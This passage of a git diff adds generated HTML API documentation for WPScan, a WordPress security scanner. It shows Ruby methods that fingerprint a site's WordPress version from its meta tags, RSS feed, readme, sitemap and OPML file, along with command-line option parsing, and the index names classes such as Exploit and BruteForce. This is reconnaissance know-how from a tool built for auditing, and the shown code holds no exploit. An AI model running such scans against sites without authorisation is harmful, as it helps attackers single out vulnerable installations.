+    <span class="ruby-identifier">md5sum</span> = <span class="ruby-constant">Digest</span><span class="ruby-operator">::</span><span class="ruby-constant">MD5</span>.<span class="ruby-identifier">hexdigest</span>(<span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>)
+
+    <span class="ruby-identifier">node</span>.<span class="ruby-identifier">search</span>(<span class="ruby-string">'hash'</span>).<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">hash</span><span class="ruby-operator">|</span>
+      <span class="ruby-keyword">if</span> <span class="ruby-identifier">hash</span>.<span class="ruby-identifier">attribute</span>(<span class="ruby-string">'md5'</span>).<span class="ruby-identifier">text</span> <span class="ruby-operator">==</span> <span class="ruby-identifier">md5sum</span>
+        <span class="ruby-keyword">return</span> <span class="ruby-identifier">hash</span>.<span class="ruby-identifier">search</span>(<span class="ruby-string">'versions'</span>).<span class="ruby-identifier">text</span>
+      <span class="ruby-keyword">end</span>
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">nil</span> <span class="ruby-comment"># Otherwise the data['file'] is returned (issue #107)</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find_from_advanced_fingerprinting-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find_from_advanced_fingerprinting-method -->
+
+      
+        <div id="find_from_links_opml-method" class="method-detail ">
+          <a name="method-c-find_from_links_opml"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find_from_links_opml</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="find_from_links_opml-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_version.rb, line 130</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find_from_links_opml</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">target_uri</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>]
+  <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">target_uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;wp-links-opml.php&quot;</span>).<span class="ruby-identifier">to_s</span>).<span class="ruby-identifier">body</span>[<span class="ruby-node">%{generator=&quot;wordpress/#{WpVersion.version_pattern}&quot;}</span>, <span class="ruby-value">1</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find_from_links_opml-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find_from_links_opml-method -->
+
+      
+        <div id="find_from_meta_generator-method" class="method-detail ">
+          <a name="method-c-find_from_meta_generator"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find_from_meta_generator</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Attempts to find the wordpress version from, the generator meta tag in the
+html source.</p>
+
+<p>The meta tag can be removed however it seems, that it is reinstated on
+upgrade.</p>
+            
+
+            
+            <div class="method-source-code" id="find_from_meta_generator-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_version.rb, line 61</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find_from_meta_generator</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">target_uri</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>]
+  <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">target_uri</span>.<span class="ruby-identifier">to_s</span>, {<span class="ruby-value">:follow_location</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">true</span>, <span class="ruby-value">:max_redirects</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>})
+
+  <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>[<span class="ruby-regexp">%{name=&quot;generator&quot; content=&quot;wordpress ([^&quot;]+)&quot;}</span>, <span class="ruby-value">1</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find_from_meta_generator-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find_from_meta_generator-method -->
+
+      
+        <div id="find_from_readme-method" class="method-detail ">
+          <a name="method-c-find_from_readme"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find_from_readme</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="find_from_readme-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_version.rb, line 119</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find_from_readme</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">target_uri</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>]
+  <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">target_uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;readme.html&quot;</span>).<span class="ruby-identifier">to_s</span>).<span class="ruby-identifier">body</span>[<span class="ruby-node">%{&lt;br /&gt;\sversion #{WpVersion.version_pattern}}</span>, <span class="ruby-value">1</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find_from_readme-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find_from_readme-method -->
+
+      
+        <div id="find_from_rss_generator-method" class="method-detail ">
+          <a name="method-c-find_from_rss_generator"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find_from_rss_generator</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="find_from_rss_generator-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_version.rb, line 68</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find_from_rss_generator</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">target_uri</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>]
+  <span class="ruby-identifier">response</span> = <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">target_uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;feed/&quot;</span>).<span class="ruby-identifier">to_s</span>, {<span class="ruby-value">:follow_location</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-keyword">true</span>, <span class="ruby-value">:max_redirects</span> =<span class="ruby-operator">&gt;</span> <span class="ruby-value">2</span>})
+
+  <span class="ruby-identifier">response</span>.<span class="ruby-identifier">body</span>[<span class="ruby-regexp">%{&lt;generator&gt;http://wordpress.org/\?v=([^&lt;]+)&lt;/generator&gt;}</span>, <span class="ruby-value">1</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find_from_rss_generator-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find_from_rss_generator-method -->
+
+      
+        <div id="find_from_sitemap_generator-method" class="method-detail ">
+          <a name="method-c-find_from_sitemap_generator"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">find_from_sitemap_generator</span><span
+              class="method-args">(options)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p><a
+href="http://code.google.com/p/wpscan/issues/detail?id=109">code.google.com/p/wpscan/issues/detail?id=109</a></p>
+            
+
+            
+            <div class="method-source-code" id="find_from_sitemap_generator-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_version.rb, line 125</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">find_from_sitemap_generator</span>(<span class="ruby-identifier">options</span>)
+  <span class="ruby-identifier">target_uri</span> = <span class="ruby-identifier">options</span>[<span class="ruby-value">:base_url</span>]
+  <span class="ruby-constant">Browser</span>.<span class="ruby-identifier">instance</span>.<span class="ruby-identifier">get</span>(<span class="ruby-identifier">target_uri</span>.<span class="ruby-identifier">merge</span>(<span class="ruby-string">&quot;sitemap.xml&quot;</span>).<span class="ruby-identifier">to_s</span>).<span class="ruby-identifier">body</span>[<span class="ruby-node">%{generator=&quot;wordpress/#{WpVersion.version_pattern}&quot;}</span>, <span class="ruby-value">1</span>]
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- find_from_sitemap_generator-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- find_from_sitemap_generator-method -->
+
+      
+        <div id="version_pattern-method" class="method-detail ">
+          <a name="method-c-version_pattern"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">version_pattern</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Used to check if the version is correct : must contain at least one .</p>
+            
+
+            
+            <div class="method-source-code" id="version_pattern-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_version.rb, line 136</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">version_pattern</span>
+  <span class="ruby-string">'([^\r\n]+[\.][^\r\n]+)'</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- version_pattern-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- version_pattern-method -->
+
+      
+      </div><!-- protected-class-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpVulnerability.html b/doc/WpVulnerability.html
new file mode 100644
index 00000000..643cdf41
--- /dev/null
+++ b/doc/WpVulnerability.html
@@ -0,0 +1,320 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpVulnerability</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wp_vulnerability_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wp_vulnerability.rb">lib/wpscan/wp_vulnerability.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpVulnerability</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+
+      
+      <!-- Attributes -->
+      <div id="attribute-method-details" class="method-section section">
+        <h3 class="section-header">Attributes</h3>
+
+        
+        <div id="reference-attribute-method" class="method-detail">
+          <a name="reference"></a>
+          
+          <a name="reference="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">reference</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="title-attribute-method" class="method-detail">
+          <a name="title"></a>
+          
+          <a name="title="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">title</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+        <div id="type-attribute-method" class="method-detail">
+          <a name="type"></a>
+          
+          <a name="type="></a>
+          
+          <div class="method-heading attribute-method-heading">
+            <span class="method-name">type</span><span
+              class="attribute-access-type">[RW]</span>
+          </div>
+
+          <div class="method-description">
+          
+          
+          
+          </div>
+        </div>
+        
+      </div><!-- attribute-method-details -->
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">(title, reference, type)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wp_vulnerability.rb, line 22</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>(<span class="ruby-identifier">title</span>, <span class="ruby-identifier">reference</span>, <span class="ruby-identifier">type</span>)
+  <span class="ruby-ivar">@title</span>      = <span class="ruby-identifier">title</span>
+  <span class="ruby-ivar">@reference</span>  = <span class="ruby-identifier">reference</span>
+  <span class="ruby-ivar">@type</span>       = <span class="ruby-identifier">type</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+    </div><!-- 5Buntitled-5D -->
+  
+
+  </div><!-- documentation -->
+
+  <div id="validator-badges">
+    <p><small><a href="http://validator.w3.org/check/referer">[Validate]</a></small></p>
+    <p><small>Generated with the <a href="http://deveiate.org/projects/Darkfish-Rdoc/">Darkfish
+      Rdoc Generator</a> 2</small>.</p>
+  </div>
+
+</body>
+</html>
+
diff --git a/doc/WpscanOptions.html b/doc/WpscanOptions.html
new file mode 100644
index 00000000..003b1e9c
--- /dev/null
+++ b/doc/WpscanOptions.html
@@ -0,0 +1,984 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
+  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta content="text/html; charset=UTF-8" http-equiv="Content-Type" />
+
+  <title>Class: WpscanOptions</title>
+
+  <link rel="stylesheet" href="./rdoc.css" type="text/css" media="screen" />
+
+  <script src="./js/jquery.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/thickbox-compressed.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/quicksearch.js" type="text/javascript" charset="utf-8"></script>
+  <script src="./js/darkfish.js" type="text/javascript" charset="utf-8"></script>
+
+</head>
+<body id="top" class="class">
+
+  <div id="metadata">
+    <div id="home-metadata">
+      <div id="home-section" class="section">
+        <h3 class="section-header">
+          <a href="./index.html">Home</a>
+          <a href="./index.html#classes">Classes</a>
+          <a href="./index.html#methods">Methods</a>
+        </h3>
+      </div>
+    </div>
+
+    <div id="file-metadata">
+      <div id="file-list-section" class="section">
+        <h3 class="section-header">In Files</h3>
+        <div class="section-body">
+          <ul>
+          
+            <li><a href="./lib/wpscan/wpscan_options_rb.html?TB_iframe=true&amp;height=550&amp;width=785"
+              class="thickbox" title="lib/wpscan/wpscan_options.rb">lib/wpscan/wpscan_options.rb</a></li>
+          
+          </ul>
+        </div>
+      </div>
+
+      
+    </div>
+
+    <div id="class-metadata">
+      
+      <!-- Parent Class -->
+      <div id="parent-class-section" class="section">
+        <h3 class="section-header">Parent</h3>
+        
+        <p class="link"><a href="Object.html">Object</a></p>
+        
+      </div>
+      
+
+      
+
+      
+
+      
+      <!-- Method Quickref -->
+      <div id="method-list-section" class="section">
+        <h3 class="section-header">Methods</h3>
+        <ul class="link-list">
+          
+          <li><a href="#method-c-clean_option">::clean_option</a></li>
+          
+          <li><a href="#method-c-get_opt_long">::get_opt_long</a></li>
+          
+          <li><a href="#method-c-is_long_option-3F">::is_long_option?</a></li>
+          
+          <li><a href="#method-c-load_from_arguments">::load_from_arguments</a></li>
+          
+          <li><a href="#method-c-new">::new</a></li>
+          
+          <li><a href="#method-c-option_to_instance_variable_setter">::option_to_instance_variable_setter</a></li>
+          
+          <li><a href="#method-i-enumerate_only_vulnerable_plugins-3D">#enumerate_only_vulnerable_plugins=</a></li>
+          
+          <li><a href="#method-i-enumerate_only_vulnerable_themes-3D">#enumerate_only_vulnerable_themes=</a></li>
+          
+          <li><a href="#method-i-enumerate_options_from_string">#enumerate_options_from_string</a></li>
+          
+          <li><a href="#method-i-enumerate_plugins-3D">#enumerate_plugins=</a></li>
+          
+          <li><a href="#method-i-enumerate_themes-3D">#enumerate_themes=</a></li>
+          
+          <li><a href="#method-i-has_options-3F">#has_options?</a></li>
+          
+          <li><a href="#method-i-proxy-3D">#proxy=</a></li>
+          
+          <li><a href="#method-i-set_option_from_cli">#set_option_from_cli</a></li>
+          
+          <li><a href="#method-i-threads-3D">#threads=</a></li>
+          
+          <li><a href="#method-i-to_h">#to_h</a></li>
+          
+          <li><a href="#method-i-url-3D">#url=</a></li>
+          
+          <li><a href="#method-i-wordlist-3D">#wordlist=</a></li>
+          
+        </ul>
+      </div>
+      
+
+      
+    </div>
+
+    <div id="project-metadata">
+      
+      
+      <div id="fileindex-section" class="section project-section">
+        <h3 class="section-header">Files</h3>
+        <ul>
+        
+          <li class="file"><a href="./CREDITS.html">CREDITS</a></li>
+        
+          <li class="file"><a href="./Gemfile.html">Gemfile</a></li>
+        
+          <li class="file"><a href="./README.html">README</a></li>
+        
+        </ul>
+      </div>
+      
+
+      <div id="classindex-section" class="section project-section">
+        <h3 class="section-header">Class/Module Index
+          <span class="search-toggle"><img src="./images/find.png"
+            height="16" width="16" alt="[+]"
+            title="show/hide quicksearch" /></span></h3>
+        <form action="#" method="get" accept-charset="utf-8" class="initially-hidden">
+        <fieldset>
+          <legend>Quicksearch</legend>
+          <input type="text" name="quicksearch" value=""
+            class="quicksearch-field" />
+        </fieldset>
+        </form>
+
+        <ul class="link-list">
+        
+          <li><a href="./Array.html">Array</a></li>
+        
+          <li><a href="./Browser.html">Browser</a></li>
+        
+          <li><a href="./BruteForce.html">BruteForce</a></li>
+        
+          <li><a href="./CacheFileStore.html">CacheFileStore</a></li>
+        
+          <li><a href="./Exploit.html">Exploit</a></li>
+        
+          <li><a href="./Generate_List.html">Generate_List</a></li>
+        
+          <li><a href="./GitUpdater.html">GitUpdater</a></li>
+        
+          <li><a href="./Malwares.html">Malwares</a></li>
+        
+          <li><a href="./Object.html">Object</a></li>
+        
+          <li><a href="./RpcClient.html">RpcClient</a></li>
+        
+          <li><a href="./SvnUpdater.html">SvnUpdater</a></li>
+        
+          <li><a href="./Svn_Parser.html">Svn_Parser</a></li>
+        
+          <li><a href="./Updater.html">Updater</a></li>
+        
+          <li><a href="./UpdaterFactory.html">UpdaterFactory</a></li>
+        
+          <li><a href="./Vulnerable.html">Vulnerable</a></li>
+        
+          <li><a href="./WebSite.html">WebSite</a></li>
+        
+          <li><a href="./WpConfigBackup.html">WpConfigBackup</a></li>
+        
+          <li><a href="./WpDetector.html">WpDetector</a></li>
+        
+          <li><a href="./WpEnumerator.html">WpEnumerator</a></li>
+        
+          <li><a href="./WpFullPathDisclosure.html">WpFullPathDisclosure</a></li>
+        
+          <li><a href="./WpItem.html">WpItem</a></li>
+        
+          <li><a href="./WpLoginProtection.html">WpLoginProtection</a></li>
+        
+          <li><a href="./WpOptions.html">WpOptions</a></li>
+        
+          <li><a href="./WpPlugin.html">WpPlugin</a></li>
+        
+          <li><a href="./WpPlugins.html">WpPlugins</a></li>
+        
+          <li><a href="./WpReadme.html">WpReadme</a></li>
+        
+          <li><a href="./WpTarget.html">WpTarget</a></li>
+        
+          <li><a href="./WpTheme.html">WpTheme</a></li>
+        
+          <li><a href="./WpThemes.html">WpThemes</a></li>
+        
+          <li><a href="./WpTimthumbs.html">WpTimthumbs</a></li>
+        
+          <li><a href="./WpUser.html">WpUser</a></li>
+        
+          <li><a href="./WpUsernames.html">WpUsernames</a></li>
+        
+          <li><a href="./WpVersion.html">WpVersion</a></li>
+        
+          <li><a href="./WpVulnerability.html">WpVulnerability</a></li>
+        
+          <li><a href="./WpscanOptions.html">WpscanOptions</a></li>
+        
+        </ul>
+        <div id="no-class-search-results" style="display: none;">No matching classes.</div>
+      </div>
+
+      
+    </div>
+  </div>
+
+  <div id="documentation">
+    <h1 class="class">WpscanOptions</h1>
+
+    <div id="description" class="description">
+      
+    </div><!-- description -->
+
+    
+    
+    
+    <div id="5Buntitled-5D" class="documentation-section">
+      
+
+      
+
+      
+      <!-- Constants -->
+      <div id="constants-list" class="section">
+        <h3 class="section-header">Constants</h3>
+        <dl>
+        
+          <dt><a name="ACCESSOR_OPTIONS">ACCESSOR_OPTIONS</a></dt>
+          
+          <dd class="description"></dd>
+          
+        
+        </dl>
+      </div>
+      
+
+      
+
+      <!-- Methods -->
+      
+      <div id="public-class-method-details" class="method-section section">
+        <h3 class="section-header">Public Class Methods</h3>
+
+      
+        <div id="load_from_arguments-method" class="method-detail ">
+          <a name="method-c-load_from_arguments"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">load_from_arguments</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Will load the options from ARGV return <a
+href="WpscanOptions.html">WpscanOptions</a></p>
+            
+
+            
+            <div class="method-source-code" id="load_from_arguments-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 129</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">load_from_arguments</span>
+  <span class="ruby-identifier">wpscan_options</span> = <span class="ruby-constant">WpscanOptions</span>.<span class="ruby-identifier">new</span>
+
+  <span class="ruby-keyword">if</span> <span class="ruby-constant">ARGV</span>.<span class="ruby-identifier">length</span> <span class="ruby-operator">&gt;</span> <span class="ruby-value">0</span>
+    <span class="ruby-constant">WpscanOptions</span>.<span class="ruby-identifier">get_opt_long</span>.<span class="ruby-identifier">each</span> <span class="ruby-keyword">do</span> <span class="ruby-operator">|</span><span class="ruby-identifier">opt</span>, <span class="ruby-identifier">arg</span><span class="ruby-operator">|</span>
+      <span class="ruby-identifier">wpscan_options</span>.<span class="ruby-identifier">set_option_from_cli</span>(<span class="ruby-identifier">opt</span>, <span class="ruby-identifier">arg</span>)
+    <span class="ruby-keyword">end</span>
+  <span class="ruby-keyword">end</span>
+
+  <span class="ruby-identifier">wpscan_options</span>
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- load_from_arguments-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- load_from_arguments-method -->
+
+      
+        <div id="new-method" class="method-detail ">
+          <a name="method-c-new"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">new</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            
+            
+
+            
+            <div class="method-source-code" id="new-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 47</span>
+<span class="ruby-keyword">def</span> <span class="ruby-identifier">initialize</span>
+
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- new-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- new-method -->
+
+      
+      </div><!-- public-class-method-details -->
+    
+      <div id="protected-class-method-details" class="method-section section">
+        <h3 class="section-header">Protected Class Methods</h3>
+
+      
+        <div id="clean_option-method" class="method-detail ">
+          <a name="method-c-clean_option"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">clean_option</span><span
+              class="method-args">(option)</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Will removed the ‘-’ or ‘–’ chars at the beginning of option and replace
+any remaining ‘-’ by ‘_’</p>
+
+<p>param string option return string</p>
+            
+
+            
+            <div class="method-source-code" id="clean_option-source">
+<pre>
+<span class="ruby-comment"># File lib/wpscan/wpscan_options.rb, line 217</span>
+<span class="ruby-keyword">def</span> <span class="ruby-keyword">self</span>.<span class="ruby-identifier">clean_option</span>(<span class="ruby-identifier">option</span>)
+  <span class="ruby-identifier">cleaned_option</span> = <span class="ruby-identifier">option</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp">/^--?/</span>, <span class="ruby-string">''</span>)
+  <span class="ruby-identifier">cleaned_option</span>.<span class="ruby-identifier">gsub</span>(<span class="ruby-regexp">/-/</span>, <span class="ruby-string">'_'</span>)
+<span class="ruby-keyword">end</span></pre>
+            </div><!-- clean_option-source -->
+            
+          </div>
+
+          
+
+          
+        </div><!-- clean_option-method -->
+
+      
+        <div id="get_opt_long-method" class="method-detail ">
+          <a name="method-c-get_opt_long"></a>
+
+          
+          <div class="method-heading">
+            <span class="method-name">get_opt_long</span><span
+              class="method-args">()</span>
+            <span class="method-click-advice">click to toggle source</span>
+          </div>
+          
+
+          <div class="method-description">
+            
+            <p>Even if a short option is given (IE : -u), the long one will be returned
+(IE : –url)</p>
+            
+
+            
+            <div class="method-source-code" id="get_opt_long-source">
+<pre>
